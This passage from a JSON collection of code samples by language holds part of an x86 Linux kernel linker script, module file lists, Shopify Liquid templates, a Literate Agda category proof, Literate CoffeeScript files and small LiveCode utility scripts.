.;\n\t\tTEXT_TEXT\n\t\tSCHED_TEXT\n\t\tLOCK_TEXT\n\t\tKPROBES_TEXT\n\t\tENTRY_TEXT\n\t\tIRQENTRY_TEXT\n\t\t*(.fixup)\n\t\t*(.gnu.warning)\n\t\t/* End of text section */\n\t\t_etext = .;\n\t} :text = 0x9090\n\n\tNOTES :text :note\n\n\tEXCEPTION_TABLE(16) :text = 0x9090\n\n#if defined(CONFIG_DEBUG_RODATA)\n\t/* .text should occupy whole number of pages */\n\t. = ALIGN(PAGE_SIZE);\n#endif\n\tX64_ALIGN_DEBUG_RODATA_BEGIN\n\tRO_DATA(PAGE_SIZE)\n\tX64_ALIGN_DEBUG_RODATA_END\n\n\t/* Data */\n\t.data : AT(ADDR(.data) - LOAD_OFFSET) {\n\t\t/* Start of data section */\n\t\t_sdata = .;\n\n\t\t/* init_task */\n\t\tINIT_TASK_DATA(THREAD_SIZE)\n\n#ifdef CONFIG_X86_32\n\t\t/* 32 bit has nosave before _edata */\n\t\tNOSAVE_DATA\n#endif\n\n\t\tPAGE_ALIGNED_DATA(PAGE_SIZE)\n\n\t\tCACHELINE_ALIGNED_DATA(L1_CACHE_BYTES)\n\n\t\tDATA_DATA\n\t\tCONSTRUCTORS\n\n\t\t/* rarely changed data like cpu maps */\n\t\tREAD_MOSTLY_DATA(INTERNODE_CACHE_BYTES)\n\n\t\t/* End of data section */\n\t\t_edata = .;\n\t} :data\n\n\n\t. = ALIGN(PAGE_SIZE);\n\t__vvar_page = .;\n\n\t.vvar : AT(ADDR(.vvar) - LOAD_OFFSET) {\n\t\t/* work around gold bug 13023 */\n\t\t__vvar_beginning_hack = .;\n\n\t\t/* Place all vvars at the offsets in asm/vvar.h. */\n#define EMIT_VVAR(name, offset) \t\t\t\\\n\t\t. = __vvar_beginning_hack + offset;\t\\\n\t\t*(.vvar_ ## name)\n#define __VVAR_KERNEL_LDS\n#include <asm/vvar.h>\n#undef __VVAR_KERNEL_LDS\n#undef EMIT_VVAR\n\n\t\t/*\n\t\t * Pad the rest of the page with zeros.  Otherwise the loader\n\t\t * can leave garbage here.\n\t\t */\n\t\t. = __vvar_beginning_hack + PAGE_SIZE;\n\t} :data\n\n       . = ALIGN(__vvar_page + PAGE_SIZE, PAGE_SIZE);\n\n\t/* Init code and data - will be freed after init */\n\t. = ALIGN(PAGE_SIZE);\n\t.init.begin : AT(ADDR(.init.begin) - LOAD_OFFSET) {\n\t\t__init_begin = .; /* paired with __init_end */\n\t}\n\n#if defined(CONFIG_X86_64) && defined(CONFIG_SMP)\n\t/*\n\t * percpu offsets are zero-based on SMP.  PERCPU_VADDR() changes the\n\t * output PHDR, so the next output section - .init.text - should\n\t * start another segment - init.\n\t */\n\tPERCPU_VADDR(INTERNODE_CACHE_BYTES, 0, :percpu)\n\tASSERT(SIZEOF(.data..percpu) < CONFIG_PHYSICAL_START,\n\t       \"per-CPU data too large - increase CONFIG_PHYSICAL_START\")\n#endif\n\n\tINIT_TEXT_SECTION(PAGE_SIZE)\n#ifdef CONFIG_X86_64\n\t:init\n#endif\n\n\tINIT_DATA_SECTION(16)\n\n\t.x86_cpu_dev.init : AT(ADDR(.x86_cpu_dev.init) - LOAD_OFFSET) {\n\t\t__x86_cpu_dev_start = .;\n\t\t*(.x86_cpu_dev.init)\n\t\t__x86_cpu_dev_end = .;\n\t}\n\n#ifdef CONFIG_X86_INTEL_MID\n\t.x86_intel_mid_dev.init : AT(ADDR(.x86_intel_mid_dev.init) - \\\n\t\t\t\t\t\t\t\tLOAD_OFFSET) {\n\t\t__x86_intel_mid_dev_start = .;\n\t\t*(.x86_intel_mid_dev.init)\n\t\t__x86_intel_mid_dev_end = .;\n\t}\n#endif\n\n\t/*\n\t * start address and size of operations which during runtime\n\t * can be patched with virtualization friendly instructions or\n\t * baremetal native ones. Think page table operations.\n\t * Details in paravirt_types.h\n\t */\n\t. = ALIGN(8);\n\t.parainstructions : AT(ADDR(.parainstructions) - LOAD_OFFSET) {\n\t\t__parainstructions = .;\n\t\t*(.parainstructions)\n\t\t__parainstructions_end = .;\n\t}\n\n\t/*\n\t * struct alt_inst entries. From the header (alternative.h):\n\t * \"Alternative instructions for different CPU types or capabilities\"\n\t * Think locking instructions on spinlocks.\n\t */\n\t. = ALIGN(8);\n\t.altinstructions : AT(ADDR(.altinstructions) - LOAD_OFFSET) {\n\t\t__alt_instructions = .;\n\t\t*(.altinstructions)\n\t\t__alt_instructions_end = .;\n\t}\n\n\t/*\n\t * And here are the replacement instructions. The linker sticks\n\t * them as binary blobs. The .altinstructions has enough data to\n\t * get the address and the length of them to patch the kernel safely.\n\t */\n\t.altinstr_replacement : AT(ADDR(.altinstr_replacement) - LOAD_OFFSET) {\n\t\t*(.altinstr_replacement)\n\t}\n\n\t/*\n\t * struct iommu_table_entry entries are injected in this section.\n\t * It is an array of IOMMUs which during run time gets sorted depending\n\t * on its dependency order. After rootfs_initcall is complete\n\t * this section can be safely removed.\n\t */\n\t.iommu_table : AT(ADDR(.iommu_table) - LOAD_OFFSET) {\n\t\t__iommu_table = .;\n\t\t*(.iommu_table)\n\t\t__iommu_table_end = .;\n\t}\n\n\t. = ALIGN(8);\n\t.apicdrivers : AT(ADDR(.apicdrivers) - LOAD_OFFSET) {\n\t\t__apicdrivers = .;\n\t\t*(.apicdrivers);\n\t\t__apicdrivers_end = .;\n\t}\n\n\t. = ALIGN(8);\n\t/*\n\t * .exit.text is discard at runtime, not link time, to deal with\n\t *  references from .altinstructions and .eh_frame\n\t */\n\t.exit.text : AT(ADDR(.exit.text) - LOAD_OFFSET) {\n\t\tEXIT_TEXT\n\t}\n\n\t.exit.data : AT(ADDR(.exit.data) - LOAD_OFFSET) {\n\t\tEXIT_DATA\n\t}\n\n#if !defined(CONFIG_X86_64) || !defined(CONFIG_SMP)\n\tPERCPU_SECTION(INTERNODE_CACHE_BYTES)\n#endif\n\n\t. = ALIGN(PAGE_SIZE);\n\n\t/* freed after init ends here */\n\t.init.end : AT(ADDR(.init.end) - LOAD_OFFSET) {\n\t\t__init_end = .;\n\t}\n\n\t/*\n\t * smp_locks might be freed after init\n\t * start/end must be page aligned\n\t */\n\t. = ALIGN(PAGE_SIZE);\n\t.smp_locks : AT(ADDR(.smp_locks) - LOAD_OFFSET) {\n\t\t__smp_locks = .;\n\t\t*(.smp_locks)\n\t\t. = ALIGN(PAGE_SIZE);\n\t\t__smp_locks_end = .;\n\t}\n\n#ifdef CONFIG_X86_64\n\t.data_nosave : AT(ADDR(.data_nosave) - LOAD_OFFSET) {\n\t\tNOSAVE_DATA\n\t}\n#endif\n\n\t/* BSS */\n\t. = ALIGN(PAGE_SIZE);\n\t.bss : AT(ADDR(.bss) - LOAD_OFFSET) {\n\t\t__bss_start = .;\n\t\t*(.bss..page_aligned)\n\t\t*(.bss)\n\t\t. = ALIGN(PAGE_SIZE);\n\t\t__bss_stop = .;\n\t}\n\n\t. = ALIGN(PAGE_SIZE);\n\t.brk : AT(ADDR(.brk) - LOAD_OFFSET) {\n\t\t__brk_base = .;\n\t\t. += 64 * 1024;\t\t/* 64k alignment slop space */\n\t\t*(.brk_reservation)\t/* areas brk users have reserved */\n\t\t__brk_limit = .;\n\t}\n\n\t_end = .;\n\n        STABS_DEBUG\n        DWARF_DEBUG\n\n\t/* Sections to be discarded */\n\tDISCARDS\n\t/DISCARD/ : { *(.eh_frame) }\n}\n\n\n#ifdef CONFIG_X86_32\n/*\n * The ASSERT() sink to . is intentional, for binutils 2.14 compatibility:\n */\n. = ASSERT((_end - LOAD_OFFSET <= KERNEL_IMAGE_SIZE),\n\t   \"kernel image bigger than KERNEL_IMAGE_SIZE\");\n#else\n/*\n * Per-cpu symbols which need to be offset from __per_cpu_load\n * for the boot processor.\n */\n#define INIT_PER_CPU(x) init_per_cpu__##x = x + __per_cpu_load\nINIT_PER_CPU(gdt_page);\nINIT_PER_CPU(irq_stack_union);\n\n/*\n * Build-time check on the image size:\n */\n. = ASSERT((_end - _text <= KERNEL_IMAGE_SIZE),\n\t   \"kernel image bigger than KERNEL_IMAGE_SIZE\");\n\n#ifdef CONFIG_SMP\n. = ASSERT((irq_stack_union == 0),\n           \"irq_stack_union is not at start of per-cpu area\");\n#endif\n\n#endif /* CONFIG_X86_32 */\n\n#ifdef CONFIG_KEXEC\n#include <asm/kexec.h>\n\n. = ASSERT(kexec_control_code_size <= KEXEC_CONTROL_CODE_MAX_SIZE,\n           \"kexec control code size is too big\");\n#endif\n\n"
  },
  {
    "path": "samples/Linux Kernel Module/bcm4334x.mod",
    "content": "/data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcm4334x.ko\n/data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_pno.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_common.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_ip.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_custom_gpio.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_linux.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_linux_sched.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_cfg80211.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_linux_wq.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/aiutils.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcmevent.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcmutils.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcmwifi_channels.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/hndpmu.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/linux_osl.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/sbutils.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/siutils.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/wl_android.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/wl_cfg80211.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/wl_cfgp2p.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/wl_cfg_btcoex.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/wldev_common.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/wl_linux_mon.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_linux_platdev.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcmsdh.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcmsdh_linux.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcmsdh_sdmmc.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/bcmsdh_sdmmc_linux.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_cdc.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_wlfc.o /data/israel/edison/poky/meta-edison/recipes-kernel/bcm43340/driver_bcm43x/dhd_sdio.o\n"
  },
  {
    "path": "samples/Linux Kernel Module/mbcache.mod",
    "content": "fs/mbcache.ko\nfs/mbcache.o\n"
  },
  {
    "path": "samples/Linux Kernel Module/md5.mod",
    "content": "crypto/md5.ko\ncrypto/md5.o\n"
  },
  {
    "path": "samples/Liquid/layout.liquid",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\n<head>\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\"/>\n  <title>{{shop.name}} - {{page_title}}</title>\n\n  {{ 'textile.css'  | global_asset_url | stylesheet_tag }}\n  {{ 'lightbox/v204/lightbox.css' | global_asset_url | stylesheet_tag }}\n\n  {{ 'prototype/1.6/prototype.js' | global_asset_url  | script_tag }}\n  {{ 'scriptaculous/1.8.2/scriptaculous.js' | global_asset_url  | script_tag }}\n  {{ 'lightbox/v204/lightbox.js'  | global_asset_url  | script_tag }}\n  {{ 'option_selection.js'        | shopify_asset_url | script_tag }}\n\n  {{ 'layout.css'   | asset_url | stylesheet_tag }}\n  {{ 'shop.js'      | asset_url | script_tag }}\n\n  {{ content_for_header }}\n</head>\n\n<body id=\"page-{{template}}\">\n\n  <p class=\"hide\"><a href=\"#rightsiders\">Skip to navigation.</a></p>\n    <!-- mini cart -->\n        {% if cart.item_count > 0 %}\n      <div id=\"minicart\" style=\"display:none;\"><div id=\"minicart-inner\">\n      <div id=\"minicart-items\">\n      <h2>There {{ cart.item_count | pluralize: 'is', 'are' }} {{ cart.item_count }} {{ cart.item_count | pluralize: 'item', 'items' }} in <a href=\"/cart\" title=\"View your cart\">your cart</a>!</h2><h4 style=\"font-size: 16px; margin: 0 0 10px 0; padding: 0;\">Your subtotal is {{ cart.total_price | money }}.</h4>\n        {% for item in cart.items %}\n        <div class=\"thumb\">\n          <div class=\"prodimage\"><a href=\"{{item.product.url}}\" onMouseover=\"tooltip('{{ item.quantity }} x {{ item.title }} ({{ item.variant.title }})', 200)\"; onMouseout=\"hidetooltip()\"><img src=\"{{ item.product.featured_image | product_img_url: 'thumb' }}\" /></a></div>\n        </div>\n        {% endfor %}\n        </div>\n       <br style=\"clear:both;\" />\n      </div></div>\n        {% endif %}\n\n  <div id=\"container\">\n    <div id=\"header\">\n      <!-- Begin Header -->\n        <h1 id=\"logo\"><a href=\"/\" title=\"Go Home\">{{shop.name}}</a></h1>\n      <div id=\"cartlinks\">\n        {% if cart.item_count > 0 %}\n          <h2 id=\"cartcount\"><a href=\"/cart\" onMouseover=\"tooltip('There {{ cart.item_count | pluralize: 'is', 'are' }} {{ cart.item_count }} {{ cart.item_count | pluralize: 'item', 'items' }} in your cart!', 200)\"; onMouseout=\"hidetooltip()\">{{ cart.item_count }} {{ cart.item_count | pluralize: 'thing', 'things' }}!</a></h2>\n      <a href=\"/cart\" id=\"minicartswitch\" onclick=\"superSwitch(this, 'minicart', 'Close Mini Cart'); return false;\" id=\"cartswitch\">View Mini Cart ({{ cart.total_price | money }})</a>\n        {% endif %}\n      </div>\n      <!-- End Header -->\n\n    </div>\n  <hr />\n<div id=\"main\">\n\n    <div id=\"content\">\n    <div id=\"innercontent\">\n      {{ content_for_layout }}\n      </div>\n    </div>\n\n  <hr />\n    <div id=\"rightsiders\">\n\n      <ul class=\"rightlinks\">\n        {% for link in linklists.main-menu.links %}\n           <li>{{ link.title | link_to: link.url }}</li>\n        {% endfor %}\n      </ul>\n\n        {% if tags %}\n        <ul class=\"rightlinks\">\n          {% for tag in collection.tags %}\n            <li><span class=\"add-link\">{{ '+' | link_to_add_tag: tag }}</span>{{ tag | highlight_active_tag | link_to_tag: tag }}</li>\n          {% endfor %}\n        </ul>\n        {% endif %}\n\n      <ul class=\"rightlinks\">\n        {% for link in linklists.footer.links %}\n           <li>{{ link.title | link_to: link.url }}</li>\n        {% endfor %}\n      </ul>\n\n    </div>\n\n  <hr /><br style=\"clear:both;\" />\n\n    <div id=\"footer\">\n      <div class=\"footerinner\">\n      All prices are in {{ shop.currency }}.\n      Powered by <a href=\"http://www.shopify.com\" title=\"Shopify, Hosted E-Commerce\">Shopify</a>.\n    </div>\n    </div>\n\n  </div>\n</div>\n\n<div id=\"tooltip\"></div>\n<img id=\"pointer\" src=\"{{ 'arrow2.gif' | asset_url }}\" />\n\n</body>\n</html>\n"
  },
  {
    "path": "samples/Liquid/template.liquid",
    "content": "<h3>We have wonderful products!</h3>\n<ul id=\"products\">\n  <div id=\"productpage\">\n    <div id=\"productimages\"><div id=\"productimages-top\"><div id=\"productimages-bottom\">\n      {% for image in product.images %}\n        {% if forloop.first %}\n          <a href=\"{{ image | product_img_url: 'large' }}\" class=\"productimage\" rel=\"lightbox\">\n            <img src=\"{{ image | product_img_url: 'medium'}}\" alt=\"{{product.title | escape }}\" />\n          </a>\n        {% else %}\n          <a href=\"{{ image | product_img_url: 'large' }}\" class=\"productimage-small\" rel=\"lightbox\">\n            <img src=\"{{ image | product_img_url: 'small'}}\" alt=\"{{product.title | escape }}\" />\n          </a>\n        {% endif %}\n      {% endfor %}\n    </div></div></div>\n\n    <h2>{{ product.title }}</h2>\n\n    <ul id=\"details\" class=\"hlist\">\n      <li>Vendor: {{ product.vendor | link_to_vendor }}</li>\n      <li>Type: {{ product.type | link_to_type }}</li>\n    </ul>\n\n    <small>{{ product.price_min | money }}{% if product.price_varies %} - {{ product.price_max | money }}{% endif %}</small>\n\n    <div id=\"variant-add\">\n      <form action=\"/cart/add\" method=\"post\">\n\n        <select id=\"variant-select\" name=\"id\" class=\"product-info-options\">\n          {% for variant in product.variants %}\n            <option value=\"{{ variant.id }}\">{{ variant.title }} - {{ variant.price | money }}</option>\n          {% endfor %}\n        </select>\n\n        <div id=\"price-field\" class=\"price\"></div>\n\n      <div style=\"text-align:center;\"><input type=\"image\" name=\"add\" value=\"Add to Cart\" id=\"add\" src=\"{{ 'addtocart.gif' | asset_url }}\" /></div>\n      </form>\n    </div>\n\n    <div class=\"description textile\">\n      {{ product.description }}\n    </div>\n  </div>\n\n  <script type=\"text/javascript\">\n  <!--\n    // prototype callback for multi variants dropdown selector\n    var selectCallback = function(variant, selector) {\n      if (variant && variant.available == true) {\n        // selected a valid variant\n        $('add').removeClassName('disabled'); // remove unavailable class from add-to-cart button\n        $('add').disabled = false;           // reenable add-to-cart button\n        $('price-field').innerHTML = Shopify.formatMoney(variant.price, \"{{shop.money_with_currency_format}}\");  // update price field\n      } else {\n        // variant doesn't exist\n        $('add').addClassName('disabled');      // set add-to-cart button to unavailable class\n        $('add').disabled = true;              // disable add-to-cart button\n        $('price-field').innerHTML = (variant) ? \"Sold Out\" : \"Unavailable\"; // update price-field message\n      }\n    };\n\n    // initialize multi selector for product\n    Event.observe(document, 'dom:loaded', function() {\n      new Shopify.OptionSelectors(\"variant-select\", { product: {{ product | json }}, onVariantSelected: selectCallback });\n    });\n  -->\n  </script>\n</ul>\n"
  },
  {
    "path": "samples/Literate Agda/NatCat.lagda",
    "content": "\\documentclass{article}\r\n\r\n % The following packages are needed because unicode\r\n % is translated (using the next set of packages) to\r\n % latex commands. You may need more packages if you\r\n % use more unicode characters:\r\n\r\n \\usepackage{amssymb}\r\n \\usepackage{bbm}\r\n \\usepackage[greek,english]{babel}\r\n\r\n % This handles the translation of unicode to latex:\r\n\r\n \\usepackage{ucs}\r\n \\usepackage[utf8x]{inputenc}\r\n \\usepackage{autofe}\r\n\r\n % Some characters that are not automatically defined\r\n % (you figure out by the latex compilation errors you get),\r\n % and you need to define:\r\n\r\n \\DeclareUnicodeCharacter{8988}{\\ensuremath{\\ulcorner}}\r\n \\DeclareUnicodeCharacter{8989}{\\ensuremath{\\urcorner}}\r\n \\DeclareUnicodeCharacter{8803}{\\ensuremath{\\overline{\\equiv}}}\r\n\r\n % Add more as you need them (shouldn’t happen often).\r\n\r\n % Using “\\newenvironment” to redefine verbatim to\r\n % be called “code” doesn’t always work properly. \r\n % You can more reliably use:\r\n\r\n \\usepackage{fancyvrb}\r\n\r\n \\DefineVerbatimEnvironment\r\n   {code}{Verbatim}\r\n   {} % Add fancy options here if you like.\r\n\r\n \\begin{document}\r\n\r\n \\begin{code}\r\nmodule NatCat where\r\n\r\nopen import Relation.Binary.PropositionalEquality\r\n\r\n-- If you can show that a relation only ever has one inhabitant\r\n-- you get the category laws for free\r\nmodule\r\n  EasyCategory\r\n  (obj : Set)\r\n  (_⟶_ : obj → obj → Set)\r\n  (_∘_ : ∀ {x y z} → x ⟶ y → y ⟶ z → x ⟶ z)\r\n  (id : ∀ x → x ⟶ x)\r\n  (single-inhabitant : (x y : obj) (r s : x ⟶ y) → r ≡ s)\r\n  where\r\n\r\n  idʳ : ∀ x y (r : x ⟶ y) → r ∘ id y ≡ r\r\n  idʳ x y r = single-inhabitant x y (r ∘ id y) r \r\n\r\n  idˡ : ∀ x y (r : x ⟶ y) → id x ∘ r ≡ r\r\n  idˡ x y r = single-inhabitant x y (id x ∘ r) r\r\n\r\n  ∘-assoc : ∀ w x y z (r : w ⟶ x) (s : x ⟶ y) (t : y ⟶ z) → (r ∘ s) ∘ t ≡ r ∘ (s ∘ t)\r\n  ∘-assoc w x y z r s t = single-inhabitant w z ((r ∘ s) ∘ t) (r ∘ (s ∘ t))\r\n\r\nopen import Data.Nat\r\n\r\nsame : (x y : ℕ) (r s : x ≤ y) → r ≡ s\r\nsame .0 y z≤n z≤n = refl\r\nsame .(suc m) .(suc n) (s≤s {m} {n} r) (s≤s s) = cong s≤s (same m n r s)\r\n\r\n≤-trans : ∀ x y z → x ≤ y → y ≤ z → x ≤ z\r\n≤-trans .0 y z z≤n s = z≤n\r\n≤-trans .(suc m) .(suc n) .(suc n₁) (s≤s {m} {n} r) (s≤s {.n} {n₁} s) = s≤s (≤-trans m n n₁ r s)\r\n\r\n≤-refl : ∀ x → x ≤ x\r\n≤-refl zero = z≤n\r\n≤-refl (suc x) = s≤s (≤-refl x)\r\n\r\nmodule Nat-EasyCategory = EasyCategory ℕ _≤_ (λ {x}{y}{z} → ≤-trans x y z) ≤-refl same\r\n \\end{code}\r\n\r\n \\end{document} "
  },
  {
    "path": "samples/Literate CoffeeScript/pixi.coffee.md",
    "content": "Pixi Test\n=========\n\nTesting out Pixi.js\n\n    _ = require \"./lib/underscore\"\n\n    {applyStylesheet} = require \"util\"\n    applyStylesheet require(\"./style\")\n    {width, height} = require \"./pixie\"\n\n    {update, applyProperties, hydrate} = require \"./object_updater\"\n    editor = require(\"./editor\")()\n\n    PIXI = require \"./lib/pixi\"\n    # PIXI.Texture.SCALE_MODE.DEFAULT = PIXI.Texture.SCALE_MODE.NEAREST\n\n    stage = new PIXI.Stage(0x66FF99)\n\n    renderer = PIXI.autoDetectRenderer(width, height)\n\n    clickHandler = (mouseData) ->\n      if mouseData.originalEvent.ctrlKey or mouseData.originalEvent.metaKey\n        editor.activeObject mouseData.target.data\n      else\n        if data = mouseData.target.data\n          data.click?(data)\n\n    document.body.appendChild(renderer.view)\n\nLoad textures from a data file and map them into Pixi.js texture objects\n\n    textures = require \"./textures\"\n    Object.keys(textures).forEach (name) ->\n      value = textures[name]\n      textures[name] = PIXI.Texture.fromImage(\"http://a0.pixiecdn.com/#{value}\", true)\n\nReload our app data or use our default data.\n\n    if data = ENV?.APP_STATE\n      data = JSON.parse(data)\n    else\n      data = require(\"./default_data\")\n\nFill children\n\n    populate = (object) ->\n      [0..4].forEach (i) ->\n        [0..4].forEach (j) ->\n          c = new PIXI.Sprite(textures.pixie)\n          object.addChild c\n          c.position =\n            x: i * 50 - 125\n            y: j * 50 - 125\n\nReconstitute our objects using our app data.\n\n    objects = data.map (datum) ->\n      object = new PIXI.Sprite(textures[datum.sprite])\n\n      datum._host = object\n\n      object.anchor.x = object.anchor.y = 0.5\n\n      object.data = datum\n      object.interactive = true\n      object.click = clickHandler\n\n      # TODO: Figure out child object compositions\n      # something like\n      # object.data.children?.forEach (datum) ->\n      #   recurse object, datum\n      # populate object\n\n      hydrate(object.data)\n      applyProperties(object)\n\n      # TODO: stage should be 'parent' or 'root' so we can handle trees of objects\n      stage.addChild(object)\n\n      return object\n\nOur main loop, update and draw.\n\n    dt = 1/60\n    animate = ->\n      requestAnimationFrame(animate)\n\n      objects.forEach (object) ->\n        update(object, dt)\n\n      renderer.render(stage)\n\n    requestAnimationFrame(animate)\n\nThis is where we export and expose our app state.\n\n    global.appData = ->\n      JSON.stringify stage.children.map (child) ->\n        _.omit child.data, \"_host\"\n\nText sample (still need to figure out how to handle different PIXI types for our\nobjects)\n\n    addText = ->\n      textSample = new PIXI.Text \"Pixi.js can has\\nmultiline text!\",\n        font: \"35px Snippet\"\n        fill: \"white\"\n        align: \"left\"\n      textSample.position.x = 20\n      textSample.position.y = 20\n      stage.addChild(textSample)\n\n"
  },
  {
    "path": "samples/Literate CoffeeScript/scope.litcoffee",
    "content": "The **Scope** class regulates lexical scoping within CoffeeScript. As you\ngenerate code, you create a tree of scopes in the same shape as the nested\nfunction bodies. Each scope knows about the variables declared within it,\nand has a reference to its parent enclosing scope. In this way, we know which\nvariables are new and need to be declared with `var`, and which are shared\nwith external scopes.\n\nImport the helpers we plan to use.\n\n    {extend, last} = require './helpers'\n\n    exports.Scope = class Scope\n\nThe `root` is the top-level **Scope** object for a given file.\n\n      @root: null\n\nInitialize a scope with its parent, for lookups up the chain,\nas well as a reference to the **Block** node it belongs to, which is\nwhere it should declare its variables, and a reference to the function that\nit belongs to.\n\n      constructor: (@parent, @expressions, @method) ->\n        @variables = [{name: 'arguments', type: 'arguments'}]\n        @positions = {}\n        Scope.root = this unless @parent\n\nAdds a new variable or overrides an existing one.\n\n      add: (name, type, immediate) ->\n        return @parent.add name, type, immediate if @shared and not immediate\n        if Object::hasOwnProperty.call @positions, name\n          @variables[@positions[name]].type = type\n        else\n          @positions[name] = @variables.push({name, type}) - 1\n\nWhen `super` is called, we need to find the name of the current method we're\nin, so that we know how to invoke the same method of the parent class. This\ncan get complicated if super is being called from an inner function.\n`namedMethod` will walk up the scope tree until it either finds the first\nfunction object that has a name filled in, or bottoms out.\n\n      namedMethod: ->\n        return @method if @method.name or !@parent\n        @parent.namedMethod()\n\nLook up a variable name in lexical scope, and declare it if it does not\nalready exist.\n\n      find: (name) ->\n        return yes if @check name\n        @add name, 'var'\n        no\n\nReserve a variable name as originating from a function parameter for this\nscope. No `var` required for internal references.\n\n      parameter: (name) ->\n        return if @shared and @parent.check name, yes\n        @add name, 'param'\n\nJust check to see if a variable has already been declared, without reserving,\nwalks up to the root scope.\n\n      check: (name) ->\n        !!(@type(name) or @parent?.check(name))\n\nGenerate a temporary variable name at the given index.\n\n      temporary: (name, index) ->\n        if name.length > 1\n          '_' + name + if index > 1 then index - 1 else ''\n        else\n          '_' + (index + parseInt name, 36).toString(36).replace /\\d/g, 'a'\n\nGets the type of a variable.\n\n      type: (name) ->\n        return v.type for v in @variables when v.name is name\n        null\n\nIf we need to store an intermediate result, find an available name for a\ncompiler-generated variable. `_var`, `_var2`, and so on...\n\n      freeVariable: (name, reserve=true) ->\n        index = 0\n        index++ while @check((temp = @temporary name, index))\n        @add temp, 'var', yes if reserve\n        temp\n\nEnsure that an assignment is made at the top of this scope\n(or at the top-level scope, if requested).\n\n      assign: (name, value) ->\n        @add name, {value, assigned: yes}, yes\n        @hasAssignments = yes\n\nDoes this scope have any declared variables?\n\n      hasDeclarations: ->\n        !!@declaredVariables().length\n\nReturn the list of variables first declared in this scope.\n\n      declaredVariables: ->\n        realVars = []\n        tempVars = []\n        for v in @variables when v.type is 'var'\n          (if v.name.charAt(0) is '_' then tempVars else realVars).push v.name\n        realVars.sort().concat tempVars.sort()\n\nReturn the list of assignments that are supposed to be made at the top\nof this scope.\n\n      assignedVariables: ->\n        \"#{v.name} = #{v.type.value}\" for v in @variables when v.type.assigned\n\n"
  },
  {
    "path": "samples/LiveCode Script/colorToRGB.livecodescript",
    "content": "script \"colorToRGB\"\r\n\r\nfunction colorToRGB pColor\r\n    local tColorRGB\r\n\r\n    if pColor is a color then\r\n        set the colorOverlay[\"color\"] of the templateGraphic to pColor\r\n        put the colorOverlay[\"color\"] of the templateGraphic into tColorRGB\r\n        reset the templateGraphic\r\n        return tColorRGB  for value\r\n\r\n    else return empty for value\r\nend colorToRGB\r\n"
  },
  {
    "path": "samples/LiveCode Script/hideFolder.livecodescript",
    "content": "script \"hideFolder\"\r\n\r\ncommand hideFolder pPath\r\n    local tLastItem, tNewName\r\n    set the itemdel to \"/\"\r\n\r\n    if \"\\\" is in pPath then replace \"\\\" with \"/\" in pPath\r\n\r\n    put pPath into tNewName\r\n    put the item - 1 of pPath into tLastItem\r\n\r\n    if platform() is \"Win32\" then\r\n        set the hideConsoleWindows to true\r\n        get shell( \"ATTRIB +H \" & quote & tNewName  & quote  )\r\n        if it is not empty then\r\n            answer error it\r\n        end if\r\n    else if the char 1 of tLastItem is not \".\" then\r\n        put \".\" & tLastItem into the item - 1 of tNewName\r\n        rename folder pPath to tNewName\r\n    end if\r\n\r\nend hideFolder\r\n\r\n\r\n"
  },
  {
    "path": "samples/LiveCode Script/longIdAllControls.livecodescript",
    "content": "script \"longIdAllControls\"\r\n\r\n\r\nfunction longIdAllControls pLongId\r\n    local tType, tCards, tControls, tResult\r\n\r\n    if there is not a pLongId then  return empty for value\r\n    put word 1 of pLongId into tType\r\n\r\n    if tType is \"stack\" then\r\n        put the cardIDs of pLongId into tCards\r\n        repeat for each line tCard in tCards\r\n            put longIdAllControls(\"card id\"&& tCard && \"of\" && pLongId) & cr after tResult\r\n        end repeat\r\n        delete char - 1 of tResult\r\n    else if tType is in \"group card\" then\r\n        put the number of controls of pLongId into tControls\r\n        repeat with x = 1 to tControls\r\n            put the long id of control x of pLongId into line x of tResult\r\n        end repeat\r\n    else\r\n        return the long id of pLongId\r\n    end if\r\n\r\n    sort lines of tResult\r\n    return tResult for value\r\nend longIdAllControls"
  },
